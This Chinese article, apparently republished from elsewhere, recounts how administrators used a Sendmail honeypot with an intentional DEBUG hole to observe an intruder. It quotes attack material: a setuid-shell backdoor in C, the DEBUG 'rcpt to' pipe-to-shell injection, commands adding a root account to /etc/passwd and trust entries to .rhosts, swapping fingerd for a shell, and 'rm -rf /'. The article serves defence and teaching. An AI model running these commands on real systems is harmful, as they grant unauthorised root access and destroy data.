实例讲解:网络欺骗的方法以及攻防!


Sendmail 主要的配置文件如下:

  /etc/sendmail.cf是Sendmail 核心配置文件;

  /etc/aliases是邮件别名文件;

  /etc/mail/relay-domains用于设定可RELAY的域名;

  /etc/mail/access用来设定处理来信的方式如RELAY等;

  在默认情况下,也就是安装Sendmail服务器不做任何设置的情况下,则只能在本机上收发邮件,网络上其它主机不能向该SMTP服务器发送邮件。关于Sendmail的具体安装配置过程,我们可以通过//worldhello.net/doc/email_howto/sendmail.html这个网址得到比较满意的答案。

  2、序幕

  为了给黑客们一个惊喜,我们故意留出了一个DUBUG漏洞,张开网后,就等鱼儿上钩了。大概一个多月都没有动静,终于,在我们无意中间接公布了一些系统的消息后,发现系统出了异常的日志是在2004年2月14日,可能是由于情人节的落寞想找个地方来发泄,一个黑客发现了我们公布的计算机的漏洞,试图获得我们的password文件,顺水推舟,我们就给他送了一份人情,很快我们就发现在口令文件 passwd 中增加了一个 UID 为 0 的账号。

  这个黑客十分有耐心,手段也很高明。一切在意料之中,我们在机器的/tmp目录下又发现了一个程序,而且只要运行这个程序,就会轻易得到用户权限。根据我们自己掌握的情况,这种方法在网上几乎是最受欢迎的了。不过,对于系统用户来说,定期清理/tmp下的文件是很正常的,因此即使我们清理这个文件,他也不会感到意外。我们打开在 /tmp 目录下放置 的C源程序进行了研究:

<++> backdoor/backdoor2.c #include main() { system("cp /bin/sh /tmp/fid"); system("chown root.root /tmp/fid"); system("chmod 4755 /tmp/fid"); } <-->

  很明显,这是一个后门程序,通过这个程序可以获得一些关于根用户的相关属性,这对黑客来说是一个刺激,对我们管理员来说,既然要“诱敌深入”做个测试,就肯定也存在一定挑战了。而现在我们所要做的,就是引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。除了在机器上设置记录日志并隐藏这些日志,我们还添加了一些虚假的服务在系统上。由于每天定时产生的日志量非常大,为了有针对地了解攻击动向,我们做了一个script文件用来检索每天的日志。其中,我们主要检查以下几点:

  Telnet/login服务检查:如果有黑客试图进入我们的系统,他肯定要尝试很多帐户和密码,这样他的一举一动都会被我们记录下来。当然,由于试探的人比较多,五花八门三教九流,水平太次的人我们是不会给他机会的。然后就是探测Guest / visitor 账号,黑客们第一个寻找的就是公用账号。这些账号提供了友好的、最轻易地获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。

  FTP服务检索:检索的工具会报告每天所有注册和试图注册的用户名。我们伪造了一个passwd文件,获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。

  SMTP DEBUG:这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。

  Finger:Finger提供了大量有用的信息给黑客:账号名,该账号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。很多探测器都使用figner命令来查明调用的机器和使用者。

  3、较量

  设置好上面的服务以后,由于我们的目标有点暴露,因此被攻击率比较高。但是,当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。就象我们生活在大千世界一样,每个人的想法不一定相同。从这些日志所记录的事件里面,我们可以发现很多人的不同心理,或善意,或好奇,或者出于成就感。为了给黑客一个提醒,我们设置了一个自动回信,大致内容是:

  “如果你到了这个地方,就已经很不错了,如果你希望继续,我们也可以陪你玩玩。如果我们现在正看着你的操作,感觉如何?”。

  不过,对于高手来说,这招并不一定能奏效。下面的日志,记录了两个邮件发送器的相互对话,整个心理过程可以从中窥探出来。

00:43:10 smtpd[27466]: <--- 220 xxx.xxx.com SMTP 00:43:14 smtpd[27466]: -------> debug 00:43:14 smtpd[27466]: DEBUG attempt 00:43:14 smtpd[27466]: <--- 200 OK 00:43:25 smtpd[27466]: -------> mail from: 00:43:25 smtpd[27466]: <--- 503 Expecting HELO 00:43:34 smtpd[27466]: -------> helo 00:43:34 smtpd[27466]: HELO from 00:43:34 smtpd[27466]: <--- 250 xxx.xxx.com 00:43:42 smtpd[27466]: -------> mail from: 00:43:42 smtpd[27466]: <--- 250 OK 00:43:59 smtpd[27466]: -------> rcpt to: 00:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name 00:44:44 smtpd[27466]: -------> rcpt to:<|sed -e ’1,/?$/’d | /bin/sh ; exit 0"> 00:44:44 smtpd[27466]: shell characters: |sed -e ’1,/?$/’d | /bin/sh ; exit 0" 00:44:45 smtpd[27466]: <--- 250 OK 00:44:48 smtpd[27466]: -------> data 00:44:48 smtpd[27466]: <--- 354 Start mail input; end with . 00:45:04 smtpd[27466]: <--- 250 OK 00:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security 00:45:08 smtpd[27466]: -------> quit 00:45:08 smtpd[27466]: <--- 221 xxx.xxx.com Terminating 00:45:08 smtpd[27466]: finished.

  这是我们对SMTP过程的日志。在这个例子中,另一端是由人来键入命令。入侵者尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。在DEBUG模式下,Sendmail可以用它来以ROOT执行一段命令。即:

sed -e ’1,/?$/’d | /bin/sh ; exit 0"

  它去掉了邮件头的信息,并使用ROOT身份执行了消息体,这样可以隐藏一些关于他的信息。之后,这个入侵者试探着从我们的服务器上取得一些密码和账户文件,于是我们编造了一份假文件,给他发过去,密文破解后的意思是:“小心玩火自焚!”。

  4、寻踪

  这样几天没有动静,估计这个入侵者不死心,在考虑该怎么来修改密码文件了。其实,到这一步,我们完全可以把机器的补丁打上,不过,玩就要玩个痛快。不过,我们也在纳闷,这个入侵者不会知难而退了吧,还是有其他的工作在忙呢?静悄悄的,我们等待着。

  星期五的晚上,一个难得的周末。机房监控的终端报告有安全事件,我们的入侵检测系统也时不时地报告有些错误发生。核对日志后,我们发现,有人试图使用DEBUG来用ROOT身份执行命令,也就是说,他试图修改我们的密码文件,一切尽在不言中,我不得不佩服这个入侵者的耐心和智慧!查看日志,我们发现,这次入侵同样是来自上次的连接:hust.whnet.edu。我们开始思考:现在到底是“诱敌深入”?还是“引狼入室”?从感觉来看,这个黑客比我们想象中的要厉害,而且他对现在的系统和系统漏洞相当的了解。难道我们要做的就是“拔掉网线”吗?思索中,一切仍然在进行中。

  出于真实性考虑,我们在采取一些信息迷惑的同时,也公布了一些让黑客进入的诱饵。其中ftp的passwd是真实的,另外还生成了一个账号,但却使它不可操作。同时,又要让入侵者以为他自己已经改变了passwd文件,但却不急于让他进来。因此还需要给这个入侵者创造一定的条件。于是,我生成了一个临时账号c,当它被调用时就会发信,为了保险起见,我把c账号在实际passwd文件中改成了cndes,当我作完后,这个入侵者继续尝试:

00:44 echo "cndes ::301:1::/:/bin/sh" >> /etc/passwd

  他尝试了几个命令,但是没有成功,终于他发现了cndes这个账号,于是产生了下面的日志:

00:51 Attempt to login to inet with cndes from hust.whnet.edu 00:51 Attempt to login to inet with cndes from hust.whnet.edu 00:55 echo "cndes ::303:1::/tmp:/bin/sh" >> /etc/passwd 00:57 (Added cndes to the real password file.) 00:58 Attempt to login to inet with cndes from hust.whnet.edu 00:58 Attempt to login to inet with cndes from hust.whnet.edu 01:05 echo "36.92.0.205" >/dev/null echo "36.92.0.205 hust.whnet.edu">>/etc./?H?H?H 01:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu 01:06 echo "36.92.0.205 hust.whnet.edu" >> /etc/hosts 01:08 echo "hust.whnet.edu cndes">>/tmp/.rhosts

  这时,这个入侵者的活动又转到了ftp上:

Feb 20 01:36:48 inet ftpd[14437]: <--- 220 inet FTP server

(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.

Feb 20 01:36:55 inet ftpd[14437]: -------> user cndes?M

Feb 20 01:36:55 inet ftpd[14437]: <--- 331 Password required for cndes.

Feb 20 01:37:06 inet ftpd[14437]: -------> pass?M

Feb 20 01:37:06 inet ftpd[14437]: <--- 500 ’PASS’: command not understood.

Feb 20 01:37:13 inet ftpd[14437]: -------> pass?M

Feb 20 01:37:13 inet ftpd[14437]: <--- 500 ’PASS’: command not understood.

Feb 20 01:37:24 inet ftpd[14437]: -------> HELP?M

Feb 20 01:37:24 inet ftpd[14437]: <--- 214- The following commands are

recognized (* =>’s unimplemented).

Feb 20 01:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.

Feb 20 01:37:31 inet ftpd[14437]: -------> QUIT?M

Feb 20 01:37:31 inet ftpd[14437]: <--- 221 Goodbye.

Feb 20 01:37:31 inet ftpd[14437]: Logout, status 0

Feb 20 01:37:31 inet inetd[116]: exit 14437

Feb 20 01:37:41 inet inetd[116]: finger request from 202.103.0.117 pid 14454

Feb 20 01:37:41 inet inetd[116]: exit 14454

01:38 finger attempt on cndes

01:48 echo "36.92.0.205 hust.whnet.edu" >> /etc/hosts.equiv

01:53 mv /usr/etc/fingerd /usr/etc/fingerd.b

cp /bin/sh /usr/etc/fingerd

  看的出,他在这方面是很在行的,幸运的是,他只是破坏了我们模拟机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际fingerd程序。黑客的活动仍然在继续,摘录的相关日志如下:

01:57 Attempt to login to inet with cndes from hust.whnet.edu

01:58 cp /bin/csh /usr/etc/fingerd

02:07 cp /usr/etc/fingerd.b /usr/etc/fingerd

  按照他的意思,fingerd现在重新开始工作。现在他试图修改password,不过,这永远不会成功,因为passwd的输入是/dev/tty,而不是sendmail所执行的shell script。攻击在继续中:

02:16 Attempt to login to inet with cndes from hust.whnet.edu

02:17 echo "/bin/sh" > /tmp/Shell

chmod 755 /tmp/shell

chmod 755 /tmp/Shell

02:19 chmod 4755 /tmp/shell

02:19 Attempt to login to inet with cndes from hust.whnet.edu

02:19 Attempt to login to inet with cndes from hust.whnet.edu

02:21 Attempt to login to inet with cndes from hust.whnet.edu

02:21 Attempt to login to inet with cndes from hust.whnet.edu

  又是一番折腾,连续的战斗,已经让我们疲惫不堪了,不过,这位入侵者也应该很疲惫了。突然,我发现了一个新的日志:

02:55 rm -rf /&

  看来他试图删除所有进入的痕迹,估计他很累了。但是,对于这个黑客来说,“没有进行破坏”是说不过去的,根据计算机安全的基本原则,当数据的"完整性、可用性和机密性"中任意三者之一在受到破坏的时候,都应视为安全受到了破坏。在实际情况中,间谍们只是默默地拿走你的数据而绝不做任何的破坏,而且尽最大可能地掩盖自己行动的痕迹。这些黑客希望长时间大量地得到珍贵的数据而不被发觉,这其实是最可怕的一种攻击行为。看来,今天碰到的这个黑客确实很职业,不过,他没有意识到我们给他布置的“局”,徒劳的长时间攻击之后,他选择了退出。我们也很累了,不过,现在最要紧的,就是马上恢复并且马上打上最新的sendmail系统补丁了。

  随着计算机安全技术的发展,计算机网络将日益成为工业、农业和国防等方面的重要信息交换手段,渗透到社会生活的各个领域。因此,认清网络的脆弱性和潜在威胁,采取强有力的安全策略,对于保障网络的安全性将变得十分重要。同时,计算机网络技术目前正处于蓬勃发展的阶段,新技术层出不穷,其中也不可避免地存在一些漏洞,因此,进行网络防范要不断追踪新技术的应用情况,同时要把握黑客的心理,做到“知己知彼,百战不殆”,从而逐渐完善自身的防御措施。

本文地址:[https://chuanchengzhongyi.com/kepu/3540e5582f537766.html]
全国民事诉讼案件网上查询?民事案件查询 网上查询
上一篇 2024-05-25
搜狐博客登录不了(搜狐博客登陆)
下一篇
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件举报,一经查实,本站将立刻删除。

相关推荐